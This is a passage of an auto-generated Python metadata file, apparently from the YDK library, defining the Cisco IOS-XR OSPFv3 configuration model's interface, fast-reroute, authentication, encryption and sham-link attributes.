''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface to configure
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 interface
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD
packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('neighbors', REFERENCE_CLASS, 'Neighbors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors',
[], [],
''' Specify a neighbor router
''',
'neighbors',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an
interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface',
[], [],
''' OSPFv3 interface
''',
'interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink',
False,
[
_MetaInfoClassMember('destination-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Remote sham-link endpoint
''',
'destination_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Local sham-link endpoint
''',
'source_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable sham link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
